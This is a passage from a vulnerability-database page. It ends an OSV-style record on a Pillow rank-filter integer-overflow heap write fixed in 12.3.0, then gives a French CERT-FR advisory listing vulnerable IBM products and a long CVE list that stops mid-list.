},
{
"ecosystem": "Ubuntu",
"key": "Ubuntu/pillow",
"name": "pillow",
"strategy": "distro"
}
]
},
"details": "Pillow is a Python imaging library. Prior to 12.3.0, Pillow\u0027s public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0.",
"id": "BREW-pillow-CVE-2026-59197",
"modified": "2026-09-10T20:25:15Z",
"published": "2026-08-13T17:28:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
},
{
"type": "ADVISORY",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59197.json"
},
{
"type": "ADVISORY",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
},
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
},
{
"type": "FIX",
"url": "https://github.com/python-pillow/Pillow/pull/9695"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow: Heap out-of-bounds write in Pillow `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`",
"upstream": [
"CVE-2026-59197",
"BIT-pillow-2026-59197",
"GHSA-xj96-63gp-2gmr",
"PYSEC-2026-3454"
]
}
CERTFR-2026-AVI-1094
Vulnerability from certfr_avis - Published: 2026-08-28 - Updated: 2026-08-28
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | WebSphere | WebSphere Application Server Liberty versions 17.0.0.3 à 26.0.0.7 sans le correctif de sécurité PH71585 | ||
| IBM | QRadar | QRadar SIEM versions 7.5.x antérieures à 7.5.0 UP15 IF06 | ||
| IBM | Tivoli | Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de sécurité | ||
| IBM | Sterling | Sterling Control Center version 6.3.1.0 antérieure à 6.3.1.0 iFix11 | ||
| IBM | Db2 | Db2 versions 11.5.x antérieures à 11.5.9 sans le dernier correctif de sécurité | ||
| IBM | Sterling | Sterling Connect:Direct File Agent versions 1.4.0.3x à 1.4.0.5x antérieures à 1.4.0.5_iFix016 | ||
| IBM | Db2 | Db2 versions 12.1.x antérieures à 12.1.4 sans le dernier correctif de sécurité | ||
| IBM | Spectrum | Spectrum Control versions antérieures à 5.5 | ||
| IBM | Sterling | Sterling Control Center version 6.4.2.0 antérieure à 6.4.2.0 iFix06 | ||
| IBM | QRadar | QRadar SIEM versions 7.6.x antérieures à 7.6.0.3 | ||
| IBM | QRadar | Security QRadar EDR versions 3.12.x antérieures à 3.12.26 | ||
| IBM | WebSphere | WebSphere Hybrid Edition version 5.1 sans les correctifs de sécurité APAR DT496328, DT496327 et DT497580 | ||
| IBM | Db2 | Db2 Genius Hub & Agentics versions 1.1.x antérieures à 1.1.4 | ||
| IBM | Tivoli | Tivoli Application Dependency Discovery Manager versions 7.3.0.0 à 7.3.0.12 avec WebSphere Application Server Liberty versions antérieures à 26.0.0.8 | ||
| IBM | WebSphere | WebSphere Extreme Scale versions 8.6.1.x antérieures à 8.6.1.6 avec le correctif de sécurité PH72588 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.3.0.x antérieures à 6.3.0.7.iFix026 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.4.0.x antérieures à 6.4.0.6.iFix014 | ||
| IBM | QRadar | QRadar Suite Software versions 1.10.12.0 à 1.11.10.0 antérieures à 1.11.12.0 | ||
| IBM | QRadar | QRadar AI Assistant versions antérieures à 2.2.0 |
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "WebSphere Application Server Liberty versions 17.0.0.3 \u00e0 26.0.0.7 sans le correctif de s\u00e9curit\u00e9 PH71585",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP15 IF06",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.3.1.0 ant\u00e9rieure \u00e0 6.3.1.0 iFix11",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 11.5.x ant\u00e9rieures \u00e0 11.5.9 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct File Agent versions 1.4.0.3x \u00e0 1.4.0.5x ant\u00e9rieures \u00e0 1.4.0.5_iFix016",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 12.1.x ant\u00e9rieures \u00e0 12.1.4 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Spectrum Control versions ant\u00e9rieures \u00e0 5.5",
"product": {
"name": "Spectrum",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.4.2.0 ant\u00e9rieure \u00e0 6.4.2.0 iFix06",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.6.x ant\u00e9rieures \u00e0 7.6.0.3",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Security QRadar EDR versions 3.12.x ant\u00e9rieures \u00e0 3.12.26",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Hybrid Edition version 5.1 sans les correctifs de s\u00e9curit\u00e9 APAR DT496328, DT496327 et DT497580",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 Genius Hub \u0026 Agentics versions 1.1.x ant\u00e9rieures \u00e0 1.1.4",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli Application Dependency Discovery Manager versions 7.3.0.0 \u00e0 7.3.0.12 avec WebSphere Application Server Liberty versions ant\u00e9rieures \u00e0 26.0.0.8",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Extreme Scale versions 8.6.1.x ant\u00e9rieures \u00e0 8.6.1.6 avec le correctif de s\u00e9curit\u00e9 PH72588",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.3.0.x ant\u00e9rieures \u00e0 6.3.0.7.iFix026",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct for Unix versions 6.4.0.x ant\u00e9rieures \u00e0 6.4.0.6.iFix014",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar Suite Software versions 1.10.12.0 \u00e0 1.11.10.0 ant\u00e9rieures \u00e0 1.11.12.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar AI Assistant versions ant\u00e9rieures \u00e0 2.2.0",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2021-23336",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23336"
},
{
"name": "CVE-2018-16487",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16487"
},
{
"name": "CVE-2024-24762",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24762"
},
{
"name": "CVE-2025-48913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48913"
},
{
"name": "CVE-2025-40026",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40026"
},
{
"name": "CVE-2025-47279",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47279"
},
{
"name": "CVE-2025-5889",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5889"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2025-54410",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-14914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14914"
},
{
"name": "CVE-2025-64718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64718"
},
{
"name": "CVE-2025-71066",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71066"
},
{
"name": "CVE-2025-71089",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71089"
},
{
"name": "CVE-2026-23216",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23216"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-23865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23865"
},
{
"name": "CVE-2026-25749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25749"
},
{
"name": "CVE-2026-26007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26007"
},
{
"name": "CVE-2026-26996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26996"
},
{
"name": "CVE-2026-27903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27903"
},
{
"name": "CVE-2026-27904",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27904"
},
{
"name": "CVE-2026-29786",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29786"
},
{
"name": "CVE-2026-31802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31802"
},
{
"name": "CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"name": "CVE-2026-33416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33416"
},
{
"name": "CVE-2026-33750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33750"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"name": "CVE-2026-34197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34197"
},
{
"name": "CVE-2026-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
},
{
"name": "CVE-2026-22007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22007"
},
{
"name": "CVE-2026-22008",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22008"
},
{
"name": "CVE-2026-22013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22013"
},
{
"name": "CVE-2026-22016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22016"
},
{
"name": "CVE-2026-22018",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22018"
},
{
"name": "CVE-2026-22021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22021"
},
{
"name": "CVE-2026-34268",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34268"
},
{
"name": "CVE-2026-34282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34282"
},
{
"name": "CVE-2026-33558",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33558"
},
{
"name": "CVE-2025-62718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-62718"
},
{
"name": "CVE-2026-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
},
{
"name": "CVE-2026-33672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
},
{
"name": "CVE-2026-34043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34043"
},
{
"name": "CVE-2026-41239",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41239"
},
{
"name": "CVE-2026-41240",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
},
{
"name": "CVE-2025-15599",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15599"
},
{
"name": "CVE-2026-0540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
},
{
"name": "CVE-2026-27601",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27601"
},
{
"name": "CVE-2026-25243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25243"
},
{
"name": "CVE-2026-41254",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41254"
},
{
"name": "CVE-2026-41411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41411"
},
{
"name": "CVE-2026-31411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31411"
},
{
"name": "CVE-2026-31488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31488"
},
{
"name": "CVE-2026-31419",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31419"
},
{
"name": "CVE-2026-22815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22815"
},
{
"name": "CVE-2026-34513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34513"
},
{
"name": "CVE-2026-34514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34514"
},
{
"name": "CVE-2026-34515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34515"
},
{
"name": "CVE-2026-34516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34516"
},
{
"name": "CVE-2026-34517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34517"
},
{
"name": "CVE-2026-34518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34518"
},
{
"name": "CVE-2026-34519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34519"
},
{
"name": "CVE-2026-34520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34520"
},
{
"name": "CVE-2026-34525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34525"
},
{
"name": "CVE-2026-39892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39892"
},
{
"name": "CVE-2026-4539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4539"
},
{
"name": "CVE-2026-32286",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
},
{
"name": "CVE-2026-33230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
},
{
"name": "CVE-2026-33231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
},
{
"name": "CVE-2026-33236",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
},
{
"name": "CVE-2026-41603",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41603"
},
{
"name": "CVE-2026-44431",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44431"
},
{
"name": "CVE-2026-33845",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
},
{
"name": "CVE-2026-6918",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6918"
},
{
"name": "CVE-2026-7246",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7246"
},
{
"name": "CVE-2026-8177",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8177"
},
{
"name": "CVE-2026-2359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2359"
},
{
"name": "CVE-2026-2739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2739"
},
{
"name": "CVE-2026-3304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3304"
},
{
"name": "CVE-2026-40466",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40466"
},
{
"name": "CVE-2026-41044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41044"
},
{
"name": "CVE-2026-42009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
},
{
"name": "CVE-2026-39824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39824"
},
{
"name": "CVE-2025-10263",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10263"
},
{
"name": "CVE-2026-43450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43450"
},
{
"name": "CVE-2026-45984",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45984"
},
{
"name": "CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"name": "CVE-2026-41238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41238"
},
{
"name": "CVE-2026-42033",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42033"
},
{
"name": "CVE-2026-42034",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42034"
},
{
"name": "CVE-2026-42035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42035"
},
{
"name": "CVE-2026-42036",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42036"
},
{
"name": "CVE-2026-42037",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42037"
},
{
"name": "CVE-2026-42038",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42038"
},
{
"name": "CVE-2026-42039",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
},
{
"name": "CVE-2026-42040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42040"
},
{
"name": "CVE-2026-42041",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42041"
},
{
"name": "CVE-2026-42042",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42042"
},
{
"name": "CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"name": "CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"name": "CVE-2026-42198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42198"
},
{
"name": "CVE-2026-46086",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46086"
},
{
"name": "CVE-2026-46113",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46113"
},
{
"name": "CVE-2026-46116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46116"
},
{
"name": "CVE-2026-46145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46145"
},
{
"name": "CVE-2026-46150",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46150"
},
{
"name": "CVE-2026-46189",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46189"
},
{
"name": "CVE-2026-46209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46209"
},
{
"name": "CVE-2026-46227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46227"
},
{
"name": "CVE-2026-10879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
},
{
"name": "CVE-2026-42012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
},
{
"name": "CVE-2026-42013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
},
{
"name": "CVE-2026-42015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
},
{
"name": "CVE-2026-5260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
},
{
"name": "CVE-2026-43112",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43112"
},
{
"name": "CVE-2026-43499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43499"
},
{
"name": "CVE-2026-43056",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43056"
},
{
"name": "CVE-2026-43116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43116"
},
{
"name": "CVE-2026-46054",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46054"
},
{
"name": "CVE-2026-10846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10846"
},
{
"name": "CVE-2026-45149",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45149"
},
{
"name": "CVE-2026-45736",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45736"
},
{
"name": "CVE-2026-9698",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
},
{
"name": "CVE-2026-43279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43279"
},
{
"name": "CVE-2026-46117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46117"
},
{
"name": "CVE-2026-46135",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46135"
},
{
"name": "CVE-2026-46331",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46331"
},
{
"name": "CVE-2026-11541",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11541"
},
{
"name": "CVE-2026-11806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11806"
},
{
"name": "CVE-2026-42402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42402"
},
{
"name": "CVE-2026-42403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42403"
},
{
"name": "CVE-2026-42404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42404"
},
{
"name": "CVE-2026-43198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43198"
},
{
"name": "CVE-2026-46090",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46090"
},
{
"name": "CVE-2026-46259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46259"
},
{
"name": "CVE-2026-53404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
},
{
"name": "CVE-2026-53434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
},
{
"name": "CVE-2026-55276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
},
{
"name": "CVE-2026-55955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
},
{
"name": "CVE-2026-55956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
},
{
"name": "CVE-2026-12505",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12505"
},
{
"name": "CVE-2026-55693",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55693"
},
{
"name": "CVE-2026-57455",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57455"
},
{
"name": "CVE-2026-57456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57456"
},
{
"name": "CVE-2026-52923",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52923"
},
{
"name": "CVE-2026-53266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53266"
},
{
"name": "CVE-2026-9697",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9697"
},
{
"name": "CVE-2026-41680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41680"
},
{
"name": "CVE-2026-44288",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44288"
},
{
"name": "CVE-2026-44289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44289"
},
{
"name": "CVE-2026-44290",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44290"
},
{
"name": "CVE-2026-44291",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44291"
},
{
"name": "CVE-2026-44292",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44292"
},
{
"name": "CVE-2026-44293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44293"
},
{
"name": "CVE-2026-44294",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44294"
},
{
"name": "CVE-2026-45740",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45740"
},
{
"name": "CVE-2026-8646",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8646"
},
{
"name": "CVE-2026-8723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8723"
},
{
"name": "CVE-2026-9071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9071"
},
{
"name": "CVE-2026-9320",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9320"
},
{
"name": "CVE-2026-50645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50645"
},
{
"name": "CVE-2026-9171",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9171"
},
{
"name": "CVE-2026-9322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9322"
},
{
"name": "CVE-2026-46917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46917"
},
{
"name": "CVE-2026-46968",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
},
{
"name": "CVE-2026-47010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47010"
},
{
"name": "CVE-2026-47021",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
},
{
"name": "CVE-2026-47027",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
},
{
"name": "CVE-2026-9563",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9563"
},
{
"name": "CVE-2026-53359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53359"
},
{
"name": "CVE-2026-52993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52993"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-53006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53006"
},
{
"name": "CVE-2026-53059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53059"
},
{
"name": "CVE-2026-53071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53071"
},
{
"name": "CVE-2026-12413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12413"
},
{
"name": "CVE-2026-50721",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50721"
},
{
"name": "CVE-2026-50722",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50722"
},
{
"name": "CVE-2026-59083",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
},
{
"name": "CVE-2026-59084",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
},
{
"name": "CVE-2025-66168",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66168"
},
{
"name": "CVE-2026-11897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11897"
},
{
"name": "CVE-2026-15057",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15057"
},
{
"name": "CVE-2026-34993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34993"
},
{
"name": "CVE-2026-40046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40046"
},
{
"name": "CVE-2026-47265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47265"
},
{
"name": "CVE-2026-48710",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48710"
},
{
"name": "CVE-2026-48988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48988"
},
{
"name": "CVE-2026-53537",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53537"
},
{
"name": "CVE-2026-53538",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53538"
},
{
"name": "CVE-2026-53539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53539"
},
{
"name": "CVE-2026-53540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53540"
},
{
"name": "CVE-2026-54273",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54273"
},
{
"name": "CVE-2026-54274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54274"
},
{
"name": "CVE-2026-54275",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54275"
},
{
"name": "CVE-2026-54276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54276"
},
{
"name": "CVE-2026-54277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54277"
},
{
"name": "CVE-2026-54278",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54278"
},
{
"name": "CVE-2026-54279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54279"
},
{
"name": "CVE-2026-54280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54280"
},
{
"name": "CVE-2026-54282",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54282"
},
{
"name": "CVE-2026-54283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54283"
},
{
